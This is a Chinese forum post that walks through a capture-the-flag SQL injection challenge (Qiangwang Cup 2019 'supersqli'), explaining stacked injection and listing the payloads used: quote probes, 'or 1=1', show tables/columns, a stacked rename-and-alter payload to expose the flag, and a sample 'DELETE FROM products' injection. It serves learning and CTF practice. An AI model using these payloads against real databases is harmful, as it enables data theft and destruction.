查看: 532|回复: 0

[Web] qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

[复制链接]
发表于 2020-9-1 09:18:40 | 显示全部楼层 |阅读模式

相关题目:

♦ supersqli随便注

                                                                                        SQL Injection8(堆叠注入)——强网杯2019随便注前言  前面参加强网杯线上赛,亲身体验了一把ctf从入门到入土,从打ctf变成被ctf打…
  这里结合里面的题来对里面的知识点进行一个学习总结
  随便注是一道sql注入题,因为过滤规则十分强大,所以很难…
  这里会用到堆叠注入的知识,堆叠注入前面有所了解,觉得并不难,所以也没练习过,但做这道题的时候就又些懵了。
  堆叠注入原理
  在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
  这里感谢大佬对场景的复现:https://github.com/CTFTraining/qwb_2019_supersqli
  让我这样的菜鸡在比赛后还能学习
随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到查询页面返回了一些数据
  输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

试一下1’ or 1=1 #

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到返回了数据
  正常流程走起,order by

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到order by 2的时候是正常回显了,order by 3就出错了,只有2个字段
  这时候用union select进行联合查询

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
  这时候想到堆叠注入,试一下

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到成功了,存在堆叠注入,
  我们再直接show tables来查询下,试下能不能查询出表

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到有两张表,下面分别来看下两张表有什么字段
  0’; show columns from words ;#

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

0’; show columns from 1919810931114514;#

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看到1919810931114514中有我们想要的flag字段
  现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了
  因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
  内部查询语句类似 : select id, data from word where id =
  (这里从上面的对word列的查询可以看到它是有两列,id和data)
  然后1919810931114514只有一个flag字段
  这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
  这时候我们就可以已下面的骚姿势进行注入:
  1.将words表改名为word1或其它任意名字
  2.1919810931114514改名为words
  3.将新的word表插入一列,列名为id
  4.将flag列改名为data
  构造payload
  1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag  data varchar(100);#
  接着我们再用1’ or 1=1 #,查询就得到flag

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

可以看下现在数据库中存在的表

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

现在words表的结构(emmm,这里怎么还是flag字段名…)

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

语句有点问题啊,按照下面的语句重新更改,可以发现更改字段名成功
  1’; ALTER TABLE words CHANGE flag data VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

qwb_2019_web_supersqli(堆叠注入)——强网杯2019随便注

emmm,这里就没问题了,输入1同样能得到flag了
  但是为什么不改flag为data也能出结果了,我看别人的writeup不用添加列直接把id改为flag也行
  想一想就能发现因为select语句与我们前面设想的有区别
  它的select语句应该是 select * from words where id=
总结
  •   这里用sqlmap跑过的话可以发现能跑出数据表名那些,当时也没深度思考它的过滤规则,现在来看因为没有过滤show,和常用函数,所以sqlmap也能跑出一些数据
  •   show 的使用,前面对sql使用的时候,show 可能只用过show tables, show databases      这里还用到了show columns和结合from来使用
  •   堆叠注入,堆叠注入在原理上还是十分好懂的,但是还是有些生疏,后面再结合sqli靶场练习下
  •   这里的骚姿势才是获取flag的关键啊,修改表名和字段名…这种操作我也是第一次遇到…看别人writeup的时候看到alert,都没一下反应过来…


                                                                                                            
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
关闭

论坛公告上一条 /1 下一条

快速回复 返回顶部 返回列表